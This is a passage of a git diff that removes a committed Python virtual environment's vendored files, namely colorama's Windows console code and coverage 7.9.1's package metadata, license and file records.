position.X <= 0: - return - # Adjust for Windows' SetConsoleCursorPosition: - # 1. being 0-based, while ANSI is 1-based. - # 2. expecting (x,y), while ANSI uses (y,x). - adjusted_position = COORD(position.Y - 1, position.X - 1) - if adjust: - # Adjust for viewport's scroll position - sr = GetConsoleScreenBufferInfo(STDOUT).srWindow - adjusted_position.Y += sr.Top - adjusted_position.X += sr.Left - # Resume normal processing - handle = _GetStdHandle(stream_id) - return _SetConsoleCursorPosition(handle, adjusted_position) - - def FillConsoleOutputCharacter(stream_id, char, length, start): - handle = _GetStdHandle(stream_id) - char = c_char(char.encode()) - length = wintypes.DWORD(length) - num_written = wintypes.DWORD(0) - # Note that this is hard-coded for ANSI (vs wide) bytes. - success = _FillConsoleOutputCharacterA( - handle, char, length, start, byref(num_written)) - return num_written.value - - def FillConsoleOutputAttribute(stream_id, attr, length, start): - ''' FillConsoleOutputAttribute( hConsole, csbi.wAttributes, dwConSize, coordScreen, &cCharsWritten )''' - handle = _GetStdHandle(stream_id) - attribute = wintypes.WORD(attr) - length = wintypes.DWORD(length) - num_written = wintypes.DWORD(0) - # Note that this is hard-coded for ANSI (vs wide) bytes. - return _FillConsoleOutputAttribute( - handle, attribute, length, start, byref(num_written)) - - def SetConsoleTitle(title): - return _SetConsoleTitleW(title) - - def GetConsoleMode(handle): - mode = wintypes.DWORD() - success = _GetConsoleMode(handle, byref(mode)) - if not success: - raise ctypes.WinError() - return mode.value - - def SetConsoleMode(handle, mode): - success = _SetConsoleMode(handle, mode) - if not success: - raise ctypes.WinError() diff --git a/backend/venv/Lib/site-packages/colorama/winterm.py b/backend/venv/Lib/site-packages/colorama/winterm.py deleted file mode 100644 index aad867e8..00000000 --- a/backend/venv/Lib/site-packages/colorama/winterm.py +++ /dev/null @@ -1,195 +0,0 @@ -# Copyright Jonathan Hartley 2013. BSD 3-Clause license, see LICENSE file. -try: - from msvcrt import get_osfhandle -except ImportError: - def get_osfhandle(_): - raise OSError("This isn't windows!") - - -from . import win32 - -# from wincon.h -class WinColor(object): - BLACK = 0 - BLUE = 1 - GREEN = 2 - CYAN = 3 - RED = 4 - MAGENTA = 5 - YELLOW = 6 - GREY = 7 - -# from wincon.h -class WinStyle(object): - NORMAL = 0x00 # dim text, dim background - BRIGHT = 0x08 # bright text, dim background - BRIGHT_BACKGROUND = 0x80 # dim text, bright background - -class WinTerm(object): - - def __init__(self): - self._default = win32.GetConsoleScreenBufferInfo(win32.STDOUT).wAttributes - self.set_attrs(self._default) - self._default_fore = self._fore - self._default_back = self._back - self._default_style = self._style - # In order to emulate LIGHT_EX in windows, we borrow the BRIGHT style. - # So that LIGHT_EX colors and BRIGHT style do not clobber each other, - # we track them separately, since LIGHT_EX is overwritten by Fore/Back - # and BRIGHT is overwritten by Style codes. - self._light = 0 - - def get_attrs(self): - return self._fore + self._back * 16 + (self._style | self._light) - - def set_attrs(self, value): - self._fore = value & 7 - self._back = (value >> 4) & 7 - self._style = value & (WinStyle.BRIGHT | WinStyle.BRIGHT_BACKGROUND) - - def reset_all(self, on_stderr=None): - self.set_attrs(self._default) - self.set_console(attrs=self._default) - self._light = 0 - - def fore(self, fore=None, light=False, on_stderr=False): - if fore is None: - fore = self._default_fore - self._fore = fore - # Emulate LIGHT_EX with BRIGHT Style - if light: - self._light |= WinStyle.BRIGHT - else: - self._light &= ~WinStyle.BRIGHT - self.set_console(on_stderr=on_stderr) - - def back(self, back=None, light=False, on_stderr=False): - if back is None: - back = self._default_back - self._back = back - # Emulate LIGHT_EX with BRIGHT_BACKGROUND Style - if light: - self._light |= WinStyle.BRIGHT_BACKGROUND - else: - self._light &= ~WinStyle.BRIGHT_BACKGROUND - self.set_console(on_stderr=on_stderr) - - def style(self, style=None, on_stderr=False): - if style is None: - style = self._default_style - self._style = style - self.set_console(on_stderr=on_stderr) - - def set_console(self, attrs=None, on_stderr=False): - if attrs is None: - attrs = self.get_attrs() - handle = win32.STDOUT - if on_stderr: - handle = win32.STDERR - win32.SetConsoleTextAttribute(handle, attrs) - - def get_position(self, handle): - position = win32.GetConsoleScreenBufferInfo(handle).dwCursorPosition - # Because Windows coordinates are 0-based, - # and win32.SetConsoleCursorPosition expects 1-based. - position.X += 1 - position.Y += 1 - return position - - def set_cursor_position(self, position=None, on_stderr=False): - if position is None: - # I'm not currently tracking the position, so there is no default. - # position = self.get_position() - return - handle = win32.STDOUT - if on_stderr: - handle = win32.STDERR - win32.SetConsoleCursorPosition(handle, position) - - def cursor_adjust(self, x, y, on_stderr=False): - handle = win32.STDOUT - if on_stderr: - handle = win32.STDERR - position = self.get_position(handle) - adjusted_position = (position.Y + y, position.X + x) - win32.SetConsoleCursorPosition(handle, adjusted_position, adjust=False) - - def erase_screen(self, mode=0, on_stderr=False): - # 0 should clear from the cursor to the end of the screen. - # 1 should clear from the cursor to the beginning of the screen. - # 2 should clear the entire screen, and move cursor to (1,1) - handle = win32.STDOUT - if on_stderr: - handle = win32.STDERR - csbi = win32.GetConsoleScreenBufferInfo(handle) - # get the number of character cells in the current buffer - cells_in_screen = csbi.dwSize.X * csbi.dwSize.Y - # get number of character cells before current cursor position - cells_before_cursor = csbi.dwSize.X * csbi.dwCursorPosition.Y + csbi.dwCursorPosition.X - if mode == 0: - from_coord = csbi.dwCursorPosition - cells_to_erase = cells_in_screen - cells_before_cursor - elif mode == 1: - from_coord = win32.COORD(0, 0) - cells_to_erase = cells_before_cursor - elif mode == 2: - from_coord = win32.COORD(0, 0) - cells_to_erase = cells_in_screen - else: - # invalid mode - return - # fill the entire screen with blanks - win32.FillConsoleOutputCharacter(handle, ' ', cells_to_erase, from_coord) - # now set the buffer's attributes accordingly - win32.FillConsoleOutputAttribute(handle, self.get_attrs(), cells_to_erase, from_coord) - if mode == 2: - # put the cursor where needed - win32.SetConsoleCursorPosition(handle, (1, 1)) - - def erase_line(self, mode=0, on_stderr=False): - # 0 should clear from the cursor to the end of the line. - # 1 should clear from the cursor to the beginning of the line. - # 2 should clear the entire line. - handle = win32.STDOUT - if on_stderr: - handle = win32.STDERR - csbi = win32.GetConsoleScreenBufferInfo(handle) - if mode == 0: - from_coord = csbi.dwCursorPosition - cells_to_erase = csbi.dwSize.X - csbi.dwCursorPosition.X - elif mode == 1: - from_coord = win32.COORD(0, csbi.dwCursorPosition.Y) - cells_to_erase = csbi.dwCursorPosition.X - elif mode == 2: - from_coord = win32.COORD(0, csbi.dwCursorPosition.Y) - cells_to_erase = csbi.dwSize.X - else: - # invalid mode - return - # fill the entire screen with blanks - win32.FillConsoleOutputCharacter(handle, ' ', cells_to_erase, from_coord) - # now set the buffer's attributes accordingly - win32.FillConsoleOutputAttribute(handle, self.get_attrs(), cells_to_erase, from_coord) - - def set_title(self, title): - win32.SetConsoleTitle(title) - - -def enable_vt_processing(fd): - if win32.windll is None or not win32.winapi_test(): - return False - - try: - handle = get_osfhandle(fd) - mode = win32.GetConsoleMode(handle) - win32.SetConsoleMode( - handle, - mode | win32.ENABLE_VIRTUAL_TERMINAL_PROCESSING, - ) - - mode = win32.GetConsoleMode(handle) - if mode & win32.ENABLE_VIRTUAL_TERMINAL_PROCESSING: - return True - # Can get TypeError in testsuite where 'fd' is a Mock() - except (OSError, TypeError): - return False diff --git a/backend/venv/Lib/site-packages/coverage-7.9.1.dist-info/INSTALLER b/backend/venv/Lib/site-packages/coverage-7.9.1.dist-info/INSTALLER deleted file mode 100644 index a1b589e3..00000000 --- a/backend/venv/Lib/site-packages/coverage-7.9.1.dist-info/INSTALLER +++ /dev/null @@ -1 +0,0 @@ -pip diff --git a/backend/venv/Lib/site-packages/coverage-7.9.1.dist-info/METADATA b/backend/venv/Lib/site-packages/coverage-7.9.1.dist-info/METADATA deleted file mode 100644 index fb4c43df..00000000 --- a/backend/venv/Lib/site-packages/coverage-7.9.1.dist-info/METADATA +++ /dev/null @@ -1,218 +0,0 @@ -Metadata-Version: 2.4 -Name: coverage -Version: 7.9.1 -Summary: Code coverage measurement for Python -Home-page: https://github.com/nedbat/coveragepy -Author: Ned Batchelder and 246 others -Author-email: ned@nedbatchelder.com -License: Apache-2.0 -Project-URL: Documentation, https://coverage.readthedocs.io/en/7.9.1 -Project-URL: Funding, https://tidelift.com/subscription/pkg/pypi-coverage?utm_source=pypi-coverage&utm_medium=referral&utm_campaign=pypi -Project-URL: Issues, https://github.com/nedbat/coveragepy/issues -Project-URL: Mastodon, https://hachyderm.io/@coveragepy -Project-URL: Mastodon (nedbat), https://hachyderm.io/@nedbat -Keywords: code coverage testing -Classifier: Environment :: Console -Classifier: Intended Audience :: Developers -Classifier: Operating System :: OS Independent -Classifier: Programming Language :: Python -Classifier: Programming Language :: Python :: 3 -Classifier: Programming Language :: Python :: 3.9 -Classifier: Programming Language :: Python :: 3.10 -Classifier: Programming Language :: Python :: 3.11 -Classifier: Programming Language :: Python :: 3.12 -Classifier: Programming Language :: Python :: 3.13 -Classifier: Programming Language :: Python :: 3.14 -Classifier: Programming Language :: Python :: Implementation :: CPython -Classifier: Programming Language :: Python :: Implementation :: PyPy -Classifier: Topic :: Software Development :: Quality Assurance -Classifier: Topic :: Software Development :: Testing -Classifier: Development Status :: 5 - Production/Stable -Requires-Python: >=3.9 -Description-Content-Type: text/x-rst -License-File: LICENSE.txt -Provides-Extra: toml -Requires-Dist: tomli; python_full_version <= "3.11.0a6" and extra == "toml" -Dynamic: author -Dynamic: author-email -Dynamic: classifier -Dynamic: description -Dynamic: description-content-type -Dynamic: home-page -Dynamic: keywords -Dynamic: license -Dynamic: license-file -Dynamic: project-url -Dynamic: provides-extra -Dynamic: requires-python -Dynamic: summary - -.. Licensed under the Apache License: http://www.apache.org/licenses/LICENSE-2.0 -.. For details: https://github.com/nedbat/coveragepy/blob/master/NOTICE.txt - -=========== -Coverage.py -=========== - -Code coverage measurement for Python. - -.. image:: https://raw.githubusercontent.com/vshymanskyy/StandWithUkraine/main/banner2-direct.svg - :target: https://vshymanskyy.github.io/StandWithUkraine - :alt: Stand with Ukraine - -------------- - -| |kit| |license| |versions| -| |test-status| |quality-status| |docs| |metacov| -| |tidelift| |sponsor| |stars| |mastodon-coveragepy| |mastodon-nedbat| - |bluesky-nedbat| - -Coverage.py measures code coverage, typically during test execution. It uses -the code analysis tools and tracing hooks provided in the Python standard -library to determine which lines are executable, and which have been executed. - -Coverage.py runs on these versions of Python: - -.. PYVERSIONS - -* Python 3.9 through 3.14 beta 2, including free-threading. -* PyPy3 versions 3.9, 3.10, and 3.11. - -Documentation is on `Read the Docs`_. Code repository and issue tracker are on -`GitHub`_. - -.. _Read the Docs: https://coverage.readthedocs.io/en/7.9.1/ -.. _GitHub: https://github.com/nedbat/coveragepy - -**New in 7.x:** -``[run] core`` setting; -``[run] source_dirs`` setting; -``Coverage.branch_stats()``; -multi-line exclusion patterns; -function/class reporting; -experimental support for sys.monitoring; -dropped support for Python 3.7 and 3.8; -added ``Coverage.collect()`` context manager; -improved data combining; -``[run] exclude_also`` setting; -``report --format=``; -type annotations. - -**New in 6.x:** -dropped support for Python 2.7, 3.5, and 3.6; -write data on SIGTERM; -added support for 3.10 match/case statements. - - -For Enterprise --------------- - -.. |tideliftlogo| image:: https://nedbatchelder.com/pix/Tidelift_Logo_small.png - :alt: Tidelift - :target: https://tidelift.com/subscription/pkg/pypi-coverage?utm_source=pypi-coverage&utm_medium=referral&utm_campaign=readme - -.. list-table:: - :widths: 10 100 - - * - |tideliftlogo| - - `Available as part of the Tidelift Subscription. `_ - Coverage and thousands of other packages are working with - Tidelift to deliver one enterprise subscription that covers all of the open - source you use. If you want the flexibility of open source and the confidence - of commercial-grade software, this is for you. - `Learn more. `_ - - -Getting Started ---------------- - -Looking to run ``coverage`` on your test suite? See the `Quick Start section`_ -of the docs. - -.. _Quick Start section: https://coverage.readthedocs.io/en/7.9.1/#quick-start - - -Change history --------------- - -The complete history of changes is on the `change history page`_. - -.. _change history page: https://coverage.readthedocs.io/en/7.9.1/changes.html - - -Code of Conduct ---------------- - -Everyone participating in the coverage.py project is expected to treat other -people with respect and to follow the guidelines articulated in the `Python -Community Code of Conduct`_. - -.. _Python Community Code of Conduct: https://www.python.org/psf/codeofconduct/ - - -Contributing ------------- - -Found a bug? Want to help improve the code or documentation? See the -`Contributing section`_ of the docs. - -.. _Contributing section: https://coverage.readthedocs.io/en/7.9.1/contributing.html - - -Security --------- - -To report a security vulnerability, please use the `Tidelift security -contact`_. Tidelift will coordinate the fix and disclosure. - -.. _Tidelift security contact: https://tidelift.com/security - - -License -------- - -Licensed under the `Apache 2.0 License`_. For details, see `NOTICE.txt`_. - -.. _Apache 2.0 License: http://www.apache.org/licenses/LICENSE-2.0 -.. _NOTICE.txt: https://github.com/nedbat/coveragepy/blob/master/NOTICE.txt - - -.. |test-status| image:: https://github.com/nedbat/coveragepy/actions/workflows/testsuite.yml/badge.svg?branch=master&event=push - :target: https://github.com/nedbat/coveragepy/actions/workflows/testsuite.yml - :alt: Test suite status -.. |quality-status| image:: https://github.com/nedbat/coveragepy/actions/workflows/quality.yml/badge.svg?branch=master&event=push - :target: https://github.com/nedbat/coveragepy/actions/workflows/quality.yml - :alt: Quality check status -.. |docs| image:: https://readthedocs.org/projects/coverage/badge/?version=latest&style=flat - :target: https://coverage.readthedocs.io/en/7.9.1/ - :alt: Documentation -.. |kit| image:: https://img.shields.io/pypi/v/coverage - :target: https://pypi.org/project/coverage/ - :alt: PyPI status -.. |versions| image:: https://img.shields.io/pypi/pyversions/coverage.svg?logo=python&logoColor=FBE072 - :target: https://pypi.org/project/coverage/ - :alt: Python versions supported -.. |license| image:: https://img.shields.io/pypi/l/coverage.svg - :target: https://pypi.org/project/coverage/ - :alt: License -.. |metacov| image:: https://img.shields.io/endpoint?url=https://gist.githubusercontent.com/nedbat/8c6980f77988a327348f9b02bbaf67f5/raw/metacov.json - :target: https://nedbat.github.io/coverage-reports/latest.html - :alt: Coverage reports -.. |tidelift| image:: https://tidelift.com/badges/package/pypi/coverage - :target: https://tidelift.com/subscription/pkg/pypi-coverage?utm_source=pypi-coverage&utm_medium=referral&utm_campaign=readme - :alt: Tidelift -.. |stars| image:: https://img.shields.io/github/stars/nedbat/coveragepy.svg?logo=github&style=flat - :target: https://github.com/nedbat/coveragepy/stargazers - :alt: GitHub stars -.. |mastodon-nedbat| image:: https://img.shields.io/badge/dynamic/json?style=flat&labelColor=450657&logo=mastodon&logoColor=ffffff&label=@nedbat&query=followers_count&url=https%3A%2F%2Fhachyderm.io%2Fapi%2Fv1%2Faccounts%2Flookup%3Facct=nedbat - :target: https://hachyderm.io/@nedbat - :alt: nedbat on Mastodon -.. |mastodon-coveragepy| image:: https://img.shields.io/badge/dynamic/json?style=flat&labelColor=450657&logo=mastodon&logoColor=ffffff&label=@coveragepy&query=followers_count&url=https%3A%2F%2Fhachyderm.io%2Fapi%2Fv1%2Faccounts%2Flookup%3Facct=coveragepy - :target: https://hachyderm.io/@coveragepy - :alt: coveragepy on Mastodon -.. |bluesky-nedbat| image:: https://img.shields.io/badge/dynamic/json?style=flat&color=96a3b0&labelColor=3686f7&logo=icloud&logoColor=white&label=@nedbat&url=https%3A%2F%2Fpublic.api.bsky.app%2Fxrpc%2Fapp.bsky.actor.getProfile%3Factor=nedbat.com&query=followersCount - :target: https://bsky.app/profile/nedbat.com - :alt: nedbat on Bluesky -.. |sponsor| image:: https://img.shields.io/badge/%E2%9D%A4-Sponsor%20me-brightgreen?style=flat&logo=GitHub - :target: https://github.com/sponsors/nedbat - :alt: Sponsor me on GitHub diff --git a/backend/venv/Lib/site-packages/coverage-7.9.1.dist-info/RECORD b/backend/venv/Lib/site-packages/coverage-7.9.1.dist-info/RECORD deleted file mode 100644 index b5771730..00000000 --- a/backend/venv/Lib/site-packages/coverage-7.9.1.dist-info/RECORD +++ /dev/null @@ -1,104 +0,0 @@ -../../Scripts/coverage-3.11.exe,sha256=j1hggG294OAzKldpTHgkmKJJT1c2q4O3Pi9XiZdmYnM,108445 -../../Scripts/coverage.exe,sha256=j1hggG294OAzKldpTHgkmKJJT1c2q4O3Pi9XiZdmYnM,108445 -../../Scripts/coverage3.exe,sha256=j1hggG294OAzKldpTHgkmKJJT1c2q4O3Pi9XiZdmYnM,108445 -coverage-7.9.1.dist-info/INSTALLER,sha256=zuuue4knoyJ-UwPPXg8fezS7VCrXJQrAP7zeNuwvFQg,4 -coverage-7.9.1.dist-info/METADATA,sha256=NooFOL2i4ckCp-q4sD43s_5h-lVSQK-8KC0efHMwKb4,9098 -coverage-7.9.1.dist-info/RECORD,, -coverage-7.9.1.dist-info/WHEEL,sha256=JLOMsP7F5qtkAkINx5UnzbFguf8CqZeraV8o04b0I8I,101 -coverage-7.9.1.dist-info/entry_points.txt,sha256=1YZ9VNHzvplT76fAhqRNQLG8wmPI5AtUKig-3sjqQJo,123 -coverage-7.9.1.dist-info/licenses/LICENSE.txt,sha256=6z17VIVGasvYHytJb1latjfSeS4mggayfZnnk722dUk,10351 -coverage-7.9.1.dist-info/top_level.txt,sha256=BjhyiIvusb5OJkqCXjRncTF3soKF-mDOby-hxkWwwv0,9 -coverage/__init__.py,sha256=f3KZIgjkIaxJ4WZJAtfWwAHO6G1czoeyvuCOb09vRIs,1081 -coverage/__main__.py,sha256=LzQl-dAzS04IRHO8f2hyW79ck5g68kO13-9Ez-nHKGQ,303 -coverage/__pycache__/__init__.cpython-311.pyc,, -coverage/__pycache__/__main__.cpython-311.pyc,, -coverage/__pycache__/annotate.cpython-311.pyc,, -coverage/__pycache__/bytecode.cpython-311.pyc,, -coverage/__pycache__/cmdline.cpython-311.pyc,, -coverage/__pycache__/collector.cpython-311.pyc,, -coverage/__pycache__/config.cpython-311.pyc,, -coverage/__pycache__/context.cpython-311.pyc,, -coverage/__pycache__/control.cpython-311.pyc,, -coverage/__pycache__/core.cpython-311.pyc,, -coverage/__pycache__/data.cpython-311.pyc,, -coverage/__pycache__/debug.cpython-311.pyc,, -coverage/__pycache__/disposition.cpython-311.pyc,, -coverage/__pycache__/env.cpython-311.pyc,, -coverage/__pycache__/exceptions.cpython-311.pyc,, -coverage/__pycache__/execfile.cpython-311.pyc,, -coverage/__pycache__/files.cpython-311.pyc,, -coverage/__pycache__/html.cpython-311.pyc,, -coverage/__pycache__/inorout.cpython-311.pyc,, -coverage/__pycache__/jsonreport.cpython-311.pyc,, -coverage/__pycache__/lcovreport.cpython-311.pyc,, -coverage/__pycache__/misc.cpython-311.pyc,, -coverage/__pycache__/multiproc.cpython-311.pyc,, -coverage/__pycache__/numbits.cpython-311.pyc,, -coverage/__pycache__/parser.cpython-311.pyc,, -coverage/__pycache__/phystokens.cpython-311.pyc,, -coverage/__pycache__/plugin.cpython-311.pyc,, -coverage/__pycache__/plugin_support.cpython-311.pyc,, -coverage/__pycache__/python.cpython-311.pyc,, -coverage/__pycache__/pytracer.cpython-311.pyc,, -coverage/__pycache__/regions.cpython-311.pyc,, -coverage/__pycache__/report.cpython-311.pyc,, -coverage/__pycache__/report_core.cpython-311.pyc,, -coverage/__pycache__/results.cpython-311.pyc,, -coverage/__pycache__/sqldata.cpython-311.pyc,, -coverage/__pycache__/sqlitedb.cpython-311.pyc,, -coverage/__pycache__/sysmon.cpython-311.pyc,, -coverage/__pycache__/templite.cpython-311.pyc,, -coverage/__pycache__/tomlconfig.cpython-311.pyc,, -coverage/__pycache__/types.cpython-311.pyc,, -coverage/__pycache__/version.cpython-311.pyc,, -coverage/__pycache__/xmlreport.cpython-311.pyc,, -coverage/annotate.py,sha256=hCU5cXuhg_XgP_A9OL16njPO5sfjnxWo_p-FeKQMJrw,3865 -coverage/bytecode.py,sha256=9rl5QdYzbheVsusb3SlqAv-xmMSvg-gZcnq7IbYJcGo,5727 -coverage/cmdline.py,sha256=J7GHM8x5f_MyPVuvMr09QQ84qvQRgI7DUDXUC_Wk1nc,35216 -coverage/collector.py,sha256=7eFn5-RL7-NOi7pV5fz_aWhbH9obz9feB7jqnRgFIJg,19994 -coverage/config.py,sha256=ZmTZlDkeWiXyCfXYiadDO-6cYguXshhm0084SsSvlMg,23688 -coverage/context.py,sha256=WLFge8ZAqfgOm2E4LvEX9IbR_ik-PMfiAUlPIPNsUlI,2506 -coverage/control.py,sha256=o7dXuTHqpI6Qp2M4jJaAfUPD9Kitl6BX1rX9gr5GAh8,54947 -coverage/core.py,sha256=fFNk3H4FygmiYde66V_OW_9Vx6q_H3rn-bZu7FnwxW4,4502 -coverage/data.py,sha256=vTRy5weON6j1RSeBiNNMM27YOLXCzRhy82_fjENDaks,8353 -coverage/debug.py,sha256=YMbz8T2rF05nzxsn2Q6eyfON84UNRKOw72kNcwwjoYU,21497 -coverage/disposition.py,sha256=xb-zvwp_42zbePVis4Y_m_xjOyHcM6zmTGM1dn7TMv0,1952 -coverage/env.py,sha256=OysHxqSzyaoiTyTqey5U42zMZr_b06YVoxWkqF-_9-k,7482 -coverage/exceptions.py,sha256=QeimYAr2NgdcvWceOX8ull-66maTv2zz7UZ7ZFQUh9A,1460 -coverage/execfile.py,sha256=MrVHMZx5G-b8zMl9k8yhxkId8GSM8ENhDutZ7Wfm3fE,12370 -coverage/files.py,sha256=_tF0qSSUtQGf4Kp7sxff98g3s1ojl57Px9vvVt5pCtQ,19942 -coverage/html.py,sha256=w563h3LmESWYm_a1aTl-0Eb_uGmu9TThDvJc8YYYk1Y,30682 -coverage/htmlfiles/coverage_html.js,sha256=PqDTAlVdIaB9gIjEf6JHHysMm_D7HyRe4BzQFfpf3OM,26207 -coverage/htmlfiles/favicon_32.png,sha256=vIEA-odDwRvSQ-syWfSwEnWGUWEv2b-Tv4tzTRfwJWE,1732 -coverage/htmlfiles/index.html,sha256=eciDXoye0zDRlWUY5q4HHlE1FPVG4_y0NZ9_OIwaQ0E,7005 -coverage/htmlfiles/keybd_closed.png,sha256=fZv4rmY3DkNJtPQjrFJ5UBOE5DdNof3mdeCZWC7TOoo,9004 -coverage/htmlfiles/pyfile.html,sha256=dJV8bc3mMQz6J_N2KxVMXNKVge6vnMiQiqqe1QYuZmw,6643 -coverage/htmlfiles/style.css,sha256=jVLHmDo1oR0KNtqBx2Ht60Nm0WcC1srnSROoG5bJiFE,14452 -coverage/htmlfiles/style.scss,sha256=TmG935lot9r4D8aSZdVtJA4ho63YsH2J1xyvk5FONkk,19223 -coverage/inorout.py,sha256=8J6Uh33GswabSPhFOC9TO8i6cgkltrF1p2Z2hhrrGmc,24865 -coverage/jsonreport.py,sha256=bkl2DggQRaxL5p2geBt0Vd1ffgiI-vjj1HUTY5QMklw,6919 -coverage/lcovreport.py,sha256=0SAmTXk9vaLXi0aMfOHycW7meNfu_17I8_7KQztDTPI,8029 -coverage/misc.py,sha256=O0FUrp1rIv3n_qqSWk2bJ0EAJtw0FWsDzA7En6fyoRM,11624 -coverage/multiproc.py,sha256=11MYgn23vfv-9KeUW1iQxPbYqg3UiScqzg9P27JIg9Q,4309 -coverage/numbits.py,sha256=YWRSkT-8872C-XtEzxTl1Uk9aoFKUjFbdKkNtYPKGEc,4819 -coverage/parser.py,sha256=kJTlpoJuRFk4l2ngRXqtwCT8HkrP5VlkVNgnc1eklg4,53817 -coverage/phystokens.py,sha256=L5Rd0icSsnWTrAg39a-Mj_irQJoeXXLsD8JA8anYdEQ,7699 -coverage/plugin.py,sha256=V1h7GiWKYGpZYISOHfr69lPK4K2f5XYa0o60XtrvVSk,22214 -coverage/plugin_support.py,sha256=YEheHDKFClUdb-EvEiIVIDSxYJKOjOabsIxIWCThHJM,10708 -coverage/py.typed,sha256=QhKiyYY18iX2PTjtgwSYebGpYvH_m0bYEyU_kMST7EU,73 -coverage/python.py,sha256=02kieGCrvS_DQhE3xIHZkJX9__ItYR5K9mm55eQ7-xU,8745 -coverage/pytracer.py,sha256=s3w3Fcz4MEM2cyHDDueEKerDCDpptW9-cs_hvIVdikA,15777 -coverage/regions.py,sha256=5ls28y7vlhby3m-Vs6vuvT3u61b23ivL1x6zrf_LYAY,4623 -coverage/report.py,sha256=C-Gp3GBBUQ-NUEwCTzEjj_j-JwdHceNkjdUJMnSU5QE,10876 -coverage/report_core.py,sha256=Ar6U6I3hf8Pu8jIfYmW-MXmlrlcfTzt2r8FeVW9oBvA,4196 -coverage/results.py,sha256=Kz_dUSBAI-u48GwVuziyAgwgy4qy73wPXenkroKD1Ig,14273 -coverage/sqldata.py,sha256=Gs8Ew2oaPVOGyn7Xp4tp0yK_VR0RLH8lqYSB8hSaCB0,44615 -coverage/sqlitedb.py,sha256=SVQ0qLHKWTZgxgw59LvZOpxAiNN7MZXn4Vy3RBki3n4,9931 -coverage/sysmon.py,sha256=NV7gDsm-JcTGB5BEYwvMszNI55s9gr7TGBmDjmTpZ1g,17498 -coverage/templite.py,sha256=CrVt52hhVQxkEY7R9-LV5MBrHnDAoe8xBG1XYIwUPlc,11114 -coverage/tomlconfig.py,sha256=VOHVjOI6bMeso-xinoLHPp9AgqPV7okin9pEywrYKoc,7801 -coverage/tracer.cp311-win_amd64.pyd,sha256=0TKH8ZUwoygwwXmXwbQIvuOFdb8fIsirwNBz_32SL2U,22528 -coverage/tracer.pyi,sha256=A_x3UrAuonDZaQlhcaTJCOA4YgsgLXnG1ZffeNGZ6OM,1244 -coverage/types.py,sha256=J7RPfI7gToZpjGoXbmv6Bk3hp-x9Zwkge6qsWS20ero,5994 -coverage/version.py,sha256=J18r8r8nrPQahXt0ucF0d067TfDygrrXiu3YoosJoiM,1481 -coverage/xmlreport.py,sha256=KcZ0JJEzwyAa42_TnDZdbEf8DgTsSdZqhn6mzf1npG4,10101 diff --git a/backend/venv/Lib/site-packages/coverage-7.9.1.dist-info/WHEEL b/backend/venv/Lib/site-packages/coverage-7.9.1.dist-info/WHEEL deleted file mode 100644 index 8f98e0ae..00000000 --- a/backend/venv/Lib/site-packages/coverage-7.9.1.dist-info/WHEEL +++ /dev/null @@ -1,5 +0,0 @@ -Wheel-Version: 1.0 -Generator: setuptools (80.9.0) -Root-Is-Purelib: false -Tag: cp311-cp311-win_amd64 - diff --git a/backend/venv/Lib/site-packages/coverage-7.9.1.dist-info/entry_points.txt b/backend/venv/Lib/site-packages/coverage-7.9.1.dist-info/entry_points.txt deleted file mode 100644 index 55e5f6b7..00000000 --- a/backend/venv/Lib/site-packages/coverage-7.9.1.dist-info/entry_points.txt +++ /dev/null @@ -1,4 +0,0 @@ -[console_scripts] -coverage = coverage.cmdline:main -coverage-3.11 = coverage.cmdline:main -coverage3 = coverage.cmdline:main diff --git a/backend/venv/Lib/site-packages/coverage-7.9.1.dist-info/licenses/LICENSE.txt b/backend/venv/Lib/site-packages/coverage-7.9.1.dist-info/licenses/LICENSE.txt deleted file mode 100644 index f433b1a5..00000000 --- a/backend/venv/Lib/site-packages/coverage-7.9.1.dist-info/licenses/LICENSE.txt +++ /dev/null @@ -1,177 +0,0 @@ - - Apache License - Version 2.0, January 2004 - http://www.apache.org/licenses/ - - TERMS AND CONDITIONS FOR USE, REPRODUCTION, AND DISTRIBUTION - - 1. Definitions. - - "License" shall mean the terms and conditions for use, reproduction, - and distribution as defined by Sections 1 through 9 of this document. - - "Licensor" shall mean the copyright owner or entity authorized by - the copyright owner that is granting the License. - - "Legal Entity" shall mean the union of the acting entity and all - other entities that control, are controlled by, or are under common - control with that entity. For the purposes of this definition, - "control" means (i) the power, direct or indirect, to cause the - direction or management of such entity, whether by contract or - otherwise, or (ii) ownership of fifty percent (50%) or more of the - outstanding shares, or (iii) beneficial ownership of such entity. - - "You" (or "Your") shall mean an individual or Legal Entity - exercising permissions granted by this License. - - "Source" form shall mean the preferred form for making modifications, - including but not limited to software source code, documentation - source, and configuration files. - - "Object" form shall mean any form resulting from mechanical - transformation or translation of a Source form, including but - not limited to compiled object code, generated documentation, - and conversions to other media types. - - "Work" shall mean the work of authorship, whether in Source or - Object form, made available under the License, as indicated by a - copyright notice that is included in or attached to the work - (an example is provided in the Appendix below). - - "Derivative Works" shall mean any work, whether in Source or Object - form, that is based on (or derived from) the Work and for which the - editorial revisions, annotations, elaborations, or other modifications - represent, as a whole, an original work of authorship. For the purposes - of this License, Derivative Works shall not include works that remain - separable from, or merely link (or bind by name) to the interfaces of, - the Work and Derivative Works thereof. - - "Contribution" shall mean any work of authorship, including - the original version of the Work and any modifications or additions - to that Work or Derivative Works thereof, that is intentionally - submitted to Licensor for inclusion in the Work by the copyright owner - or by an individual or Legal Entity authorized to submit on behalf of - the copyright owner. For the purposes of this definition, "submitted" - means any form of electronic, verbal, or written communication sent - to the Licensor or its representatives, including but not limited to - communication on electronic mailing lists, source code control systems, - and issue tracking systems that are managed by, or on behalf of, the - Licensor for the purpose of discussing and improving the Work, but - excluding communication that is conspicuously marked or otherwise - designated in writing by the copyright owner as "Not a Contribution." - - "Contributor" shall mean Licensor and any individual or Legal Entity - on behalf of whom a Contribution has been received by Licensor and - subsequently incorporated within the Work. - - 2. Grant of Copyright License. Subject to the terms and conditions of - this License, each Contributor hereby grants to You a perpetual, - worldwide, non-exclusive, no-charge, royalty-free, irrevocable - copyright license to reproduce, prepare Derivative Works of, - publicly display, publicly perform, sublicense, and distribute the - Work and such Derivative Works in Source or Object form. - - 3. Grant of Patent License. Subject to the terms and conditions of - this License, each Contributor hereby grants to You a perpetual, - worldwide, non-exclusive, no-charge, royalty-free, irrevocable - (except as stated in this section) patent license to make, have made, - use, offer to sell, sell, import, and otherwise transfer the Work, - where such license applies only to those patent claims licensable - by such Contributor that are necessarily infringed by their - Contribution(s) alone or by combination of their Contribution(s) - with the Work to which such Contribution(s) was submitted. If You - institute patent litigation against any entity (including a - cross-claim or counterclaim in a lawsuit) alleging that the Work - or a Contribution incorporated within the Work constitutes direct - or contributory patent infringement, then any patent licenses - granted to You under this License for that Work shall terminate - as of the date such litigation is 